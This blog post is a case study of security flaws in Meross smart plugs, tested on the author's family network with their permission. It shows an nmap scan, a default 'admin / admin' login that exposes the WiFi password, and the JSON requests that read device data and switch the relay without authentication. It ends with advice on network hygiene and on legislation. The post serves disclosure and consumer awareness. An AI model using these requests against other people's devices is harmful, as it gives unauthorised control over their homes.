, ,

Why It’s So Easy to Hack Your Smart Home

Martin Bock

Every day, new smart home accessories go online for the first time to join the Internet of Things (IoT). Many of them enjoy the unwarranted trust of their owners. This blog post is a case study of the haunted smart home.

Earlier this year, I visited my family for a few days. After sitting and talking at the kitchen table for a bit, they told me about their new smart wall plugs that integrate into their Apple Home ecosystem. Using the plugs, they can turn on their kitchen lights from their phones — or automatically at sunset. Pretty cool. After I had a closer look at one of the plugs, I searched for the brand on the Internet, because I had never heard of it. Turns out, these “Meross Smart Plugs” are the first item that pops up on Amazon when you search for a HomeKit-compatible socket outlet that can switch “dumb” devices like lamps, coffee makers or hi-fi equipment on and off. At the time of writing, they cost about 17 € apiece.

As I had never heard of the brand and I would consider myself somewhat of a curious person, I thought it’d be a good idea to see if it was possible to control these plugs without being a part of the smart home environment. So I continued chatting with my family while investigating the local network.

Scratching the Surface

After scanning the local network for active devices, I identified the IP address of one of the smart plugs. A quick port scan using nmap showed that there is at least one open port, which seems to be an HTTP service on port 80.

 $ nmap<br> Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-07 09:44 CEST<br> Nmap scan report for<br> Host is up (1.1s latency).<br> Not shown: 999 closed ports<br> PORT   STATE SERVICE<br> 80/tcp open  http<br> ​<br> Nmap done: 1 IP address (1 host up) scanned in 988.07 seconds

As a next step, I tried to visit the device’s web service using a browser — and was greeted with an HTTP Basic Auth login dialog presented by Firefox. The first thing that came to my mind was to try one of the most common username and password combinations: “admin / admin”. Fortunately for me and unfortunately for every owner of a comparable “smart” outlet, my guess was correct and a rudimentary administration panel was rendered before my eyes. Even though I had assumed that the login would use a default password, I was certainly a bit surprised that my very first guess already did the trick.

Firefox HTTP Basic Auth login screen

At first glance, the administration panel already set off some alarms in the back of my head. The first thing I noticed was that my family’s WiFi SSID and password were visible in plain text. At this point, anyone who guessed the absurdly obvious default username and password would now be in possession of the WiFi credentials my family is using. To put it nicely, that’s not exactly ideal.

Meross smart plug administration page

Switching the Lights Off

Of course, the interesting bit of taking over a thing in the Internet of Things is its connection to the physical world. Thus, I wanted to see if I can turn lights controlled by the smart plug on and off without being authorized. That is — with my family’s permission, of course.

After some research on the Internet, I found a few tinkerers on GitHub and several forums that had figured out how to integrate their Meross smart plugs with their Open-Source-based smart home solutions. According to their code, all I needed to do was to send a well-formatted HTTP POST request to a /config endpoint.

The JSON body of a valid request includes four important fields. The combination of method and namespace values seem to refer to the action that should be performed. For example, GET and Appliance.System.All will return system information while SET and Appliance.Control.ToggleX toggles the electromagnetic relay inside of the smart plug. The keys messageId and timestamp are important because they affect the value that needs to be present in the sign field. From what I understand, the sign value is formed by concatenating the messageId and timestamp values and hashing them using the MD5 algorithm. However, I do not understand its purpose, since HTTP typically transmits via TCP, which already features a checksum per package for error detection. Even if you wanted to make really sure that no transmission error had occurred, why would you only check that the messageId and timestamp fields are correct while the payload and every other key is not checked for correctness?

I’d like to take a quick moment to point out that this endpoint always expects POST requests, even when we only want to read data. In the JSON payload, we have to set a header.method value that is seemingly used instead of the built-in HTTP methods. Of course, that’s not how an HTTP API should be designed.

Now that we have a vague understanding of the application protocol, let’s try to get some system information from the API. The author of a Meross Homebridge Plugin suggested that the easiest way to get a valid sig value is to send a request with an invalid sig value, because the response will contain a valid value itself.

 {<br>   "payload": {},<br>   "header": {<br>     "messageId": "c3222c7d2b9163fe2968f06c45338a9f",<br>     "method": "GET",<br>     "from": "/appliance/2006287187393751851148e1e921f1a5/subscribe",<br>     "namespace": "Appliance.System.All",<br>     "timestamp": 1631002514,<br>     "payloadVersion": 1,<br>     "sign": "invalid-value"<br>   }<br> }

As you can see, the response is complaining that a “sign error” has occurred. Let’s fix that by copying over the messageId, timestamp and sign fields from the response into our request.

 {<br>   "header": {<br>     "messageId": "c3222c7d2b9163fe2968f06c45338a9f",<br>     "namespace": "Appliance.System.All",<br>     "method": "ERROR",<br>     "payloadVersion": 1,<br>     "from": "/appliance/2007146089265651851548e1e924c626/publish",<br>     "timestamp": 1631003048,<br>     "timestampMs": 564,<br>     "sign": "ccb6928ccd87dc4ca5c67f370ec4ef06"<br>   },<br>   "payload": {<br>     "error": {<br>       "code": 5001,<br>       "detail": "sign error"<br>     }<br>   }<br> }

Let’s try to get system information once again, this time with a valid sign value.

 {<br>   "payload": {},<br>   "header": {<br>     "messageId": "c3222c7d2b9163fe2968f06c45338a9f",<br>     "method": "GET",<br>     "from": "/appliance/2006287187393751851148e1e921f1a5/subscribe",<br>     "namespace": "Appliance.System.All",<br>     "timestamp": 1631003048,<br>     "payloadVersion": 1,<br>     "sign": "ccb6928ccd87dc4ca5c67f370ec4ef06"<br>   }<br> }

And voilà, our smart plug is actually quite talkative. The payload object contains information about the hardware, the installed firmware as well as the current power state of the outlet relay. We can see that the plug is a Meross MSS210 with a MediaTek SoC that has ARM single-core CPU and a 2.4 GHz WiFi subsystem. It also provides the hardware MAC address as well as firmware version information and the WiFi MAC and IP addresses. The plug appears to be connected to the manufacturer’s MQTT broker and shows that the power state is currently off (payload.digest.togglex.onoff).

 {<br>   "header": {<br>     "messageId": "c3222c7d2b9163fe2968f06c45338a9f",<br>     "namespace": "Appliance.System.All",<br>     "method": "GETACK",<br>     "payloadVersion": 1,<br>     "from": "/appliance/2007146089265651851548e1e924c626/publish",<br>     "timestamp": 1631002528,<br>     "timestampMs": 338,<br>     "sign": "5258b55b15ecbaf6c9b719418fe96b20"<br>   },<br>   "payload": {<br>     "all": {<br>       "system": {<br>         "hardware": {<br>           "type": "mss210",<br>           "subType": "us",<br>           "version": "4.0.0",<br>           "chipType": "MT7686",<br>           "uuid": "2007146089265651851548e1exxxxxx",<br>           "macAddress": "48:e1:e9:25:xx:xx"<br>         },<br>         "firmware": {<br>           "version": "4.1.7",<br>           "homekitVersion": "2.0.1",<br>           "compileTime": "Mar 18 2020 15:56:36",<br>           "wifiMac": "7e:8a:20:0a:xx:xx",<br>           "innerIp": "",<br>           "server": "mqtt.meross.com",<br>           "port": 443,<br>           "userId": 1134542<br>         },<br>         "time": {<br>           "timestamp": 1631002528,<br>           "timezone": "Europe  /Berlin",<br>           "timeRule": [...]<br>         },<br>         "online": {<br>           "status": 1,<br>           "bindId": "lMSf38WDFKGDxxxx",<br>           "who": 1<br>         }<br>       },<br>       "digest": {<br>         "togglex": [<br>           {<br>             "channel": 0,<br>             "onoff": 0,<br>             "lmTime": 1626698794<br>           }<br>         ],<br>         "triggerx": [],<br>         "timerx": []<br>       }<br>     }<br>   }<br> }

Bear in mind that we didn’t have to authenticate at any point, we didn’t even need our previously obtained “admin / admin” credentials. Of course, we can do more than just gather information on the plug. As you may have guessed by this point, it’s as trivial to toggle the power as it is to get system information. The only thing we have to do is to modify the request’s JSON body a bit.

To switch the relay on or off (inversing the current state), we simply have to replace the method and namespace parameters to SET and Appliance.Control.ToggleX. Again, this works without any authentication or authorization. You just have to be able to reach the device on your network.

 {<br>   "payload": {},<br>   "header": {<br>     "messageId": "c3222c7d2b9163fe2968f06c45338a9f",<br>     "method": "SET",<br>     "from": "/appliance/2006287187393751851148e1e921f1a5/subscribe",<br>     "namespace": "Appliance.Control.ToggleX",<br>     "timestamp": 1631003441,<br>     "payloadVersion": 1,<br>     "sign": "8ea50b791a6b3353d186797918494d36"<br>   }<br> }

But Isn’t HomeKit Secure?

After I demonstrated that I could turn their lights on and off after half an hour of tinkering while sitting at the kitchen table talking with my family, they were quite surprised that it was so easy to take over a part of their smart home. Generally speaking, my family is tech-savvy and they attach importance to their online security. That’s part of the reason they use Apple’s ecosystem for mobile devices like iPhones and iPads, as well as an Apple TV (a set-top box for TVs).

Apple’s smart home platform appeals to most people because it promises two key advantages: Firstly, commands are processed locally by stationary devices like an Apple TV, meaning that the smart home will work without an internet connection. Secondly, Apple advertises with a secure smart home environment and the underlying HomeKit protocol actually is fairly well-designed from a security perspective.

HomeKit accessories communicate with Apple’s devices over an authenticated and encrypted channel using Ed25519 elliptic key pairs generated on-device. The public keys are exchanged using the Secure Remote Password (SRP) protocol that is based on an eight-digit code found on all HomeKit-enabled smart devices. Most accessories have a glued-on label displaying the setup code for scanning on an iOS device.

HomeKit setup code

When entering (or scanning) the setup code in Apple’s Home app, the accessories and Apple’s devices are exchanging their Ed25519 public keys. All communication after the setup process must be authenticated and encrypted using the exchanged keys.

HomeKit setup screen

Apple’s HomeKit protocol uses state-of-the-art algorithms and can be considered a secure communication layer for a smart home. Then why is it possible to manipulate the smart plugs in question so easily, though? Because they not only support HomeKit, but a lot of other smart home systems as well. These smart plugs are advertised with built-in support for Apple’s HomeKit, Amazon’s Alexa, Google Assistant, SmartThings and — last but not least — the manufacturer’s own app.

If manufacturers of cheap smart home accessories try to support a variety of smart home systems, of course the risk increases that they mess up at least one of the implementations. In this case, the manufacturer’s own web-based implementation seems to have major flaws that render the whole device a security nightmare.

So, while HomeKit can be considered secure, the Meross smart plugs cannot — because the manufacturer’s own shaky API implementation tears a large hole in the device’s integrity.

What About Updates?

Now that we know the plugs are insecure, a software update would be sorely needed. Unfortunately, most IoT devices are never going to see a firmware update within their lifespan. In the case of our Meross smart plugs, according to the manufacturer, the plugs would only get updates if we had used the Meross app to set up the devices. Of course, one of the key selling points of Apple’s HomeKit is the ease of installation. Thus, I would guess that the vast majority of people will use Apple’s Home app to set up their smart plugs instead of downloading yet another third-party app — which is exactly what my family did.

Due to the limitations of the Home app design, the Apple Home app will not help you upgrade the firmware if there is a firmware upgrade. The only way to upgrade HomeKit accessories’ firmware is to set up and manage them in the Meross app. You will be able to receive firmware update notifications and upgrade the firmware in the Meross app.

Meross Support Website

Speaking of Firmware…

Let’s go back to the first step for a second. What I haven’t discussed before is the last configuration block on the web administration panel of the smart plugs.

Meross smart plug administration page

As you can see in the screenshot above, we can use the web form to upload a new firmware image. And the only thing that protected the administration panel against unauthorized access was the “admin / admin” credential combination. Phew!

An attacker may be able to change a few things in the binary provided by Meross — or they may write their own firmware for the included MediaTek SoC. If I intended to assemble a botnet of IoT devices inspired by the Mirai botnet, that innocent-looking file upload would probably make me fairly happy. To be fair though, I have not tested installing another firmware because I didn’t want to brick my family’s smart plugs. Meross may have implemented a signature test in the firmware installation process to prevent tampered firmware from being loaded onto the device. However, if the observed behavior of the plug is any indication, I seriously doubt that Meross did a perfect job of implementing the update procedure correctly.

Where Do We Go From Here?

The discovered flaws in the Meross smart plugs highlight two of the most disasterous aspects of the IoT security landscape today. Often times, manufacturing companies give little to no thought to how the devices they develop can be abused. Obviously, no one at Meross considered how easily the plug could be turned against its owners. The second big problem in the IoT world today is a comprehensive update strategy. No software is perfect (or completed) and mistakes will happen. If we as a society make every toaster on this planet “smart”, we have to see to it that these toasters will get their bug fixes and security updates as long as they are in use. Many companies today have an attitude that they can sell a software-enabled product and immediately after receiving payment can stop caring about its future use and abuse. This behavior is wrong, not just because it’s bad for the environment if everyone buys a new toaster every other year since the old model isn’t supported anymore. It’s also wrong because consumers are left in the dark wondering how long a product may work after the moment of purchase — and they mistakenly assume that the software will work as long as the hardware will.

Fortunately, these issues have (at least partly) been recognized by policymakers in multiple countries. The German Federal Parliament passed a bill that requires sellers of smart devices to provide mandatory updates. It goes into effect in 2022. This bill is the national implementation of an EU Directive from 2019. Critics say that the law does not mandate a concrete period of time in which updates have to be provided — but at least it’s a step in the right direction.

A law in California (USA) passed in late 2018 makes it illegal to ship devices with pre-programmed weak default passwords (like “admin / admin”). To my knowledge, this kind of minimal security requirement does not yet exist in most parts of the world. In my opinion, it would be a good idea to draft similar (and more comprehensive) legislation in the European Union.

And What to Do Now?

Of course, the legal process takes a very long time compared to the pace of innovation in this field. That’s why I would like to give you a few tips if you have a similar smart accessory in your home today. Obviously, the first pointer is to try to keep your devices up-to-date. Maybe make a list of all software-enabled devices in your home and check if you can get them updated. It could even make sense to track the last time you updated each device, and to which version — however, I haven’t done that myself either (yet?). It also makes sense to change any default passwords that your devices may have shipped with. A more hard-core approach is to actually scan every device on your local network for open ports. Often times, you can figure out fairly quickly if a device is insecure, like I did with my smart plugs.

Next, create a separate WiFi for your IoT devices. That enables you to put them in a separate network where a firewall can filter incoming and outgoing (!) traffic fairly strictly. If your network equipment supports it, a great way to make this work are multiple VLANs. Multiple virtual LANs can run on one physical LAN infrastructure. The switches will tag every packet with a VLAN ID and prevent inter-VLAN communication. This ensures that your firewall (a feature built-in to most home routers) can filter traffic between the IoT network and your internal network while using the same physical infrastructure for both networks. As I implied earlier, not every router and switch are capable of VLAN tagging, though.

Furthermore, look out for red flags when buying smart home accessories. There may be a reason the identical-looking smart devices on Amazon are offered by countless brands at a cheap price. Ask yourself if the brand of choice will continue to exist in a year or two. Admittedly, there are exceptions to this rule — but most long-running companies have reputations to lose. Also, a quick online search for the product you’re looking at could reveal potential publicly known issues.

In the case of the Meross smart plugs, we have seen first hand that support for multiple smart home systems can cause trouble. Attackers only have to find one flaw in one of the variety of supported systems. Even if you use a relatively secure protocol like Apple’s HomeKit, your devices may also offer a completely unprotected HTTP API. I know it also has advantages to buy accessories that work with multiple systems — in case you switch to another ecosystem, you don’t have to buy new accessories. But beware that every additionally supported interface increases your attack surface.

Notice: For privacy reasons, I have changed all WiFi credentials, IP and MAC addresses to harmless values.

Author: Martin Bock — martin-bock.com, @martbock


Image Sources


Leave a Reply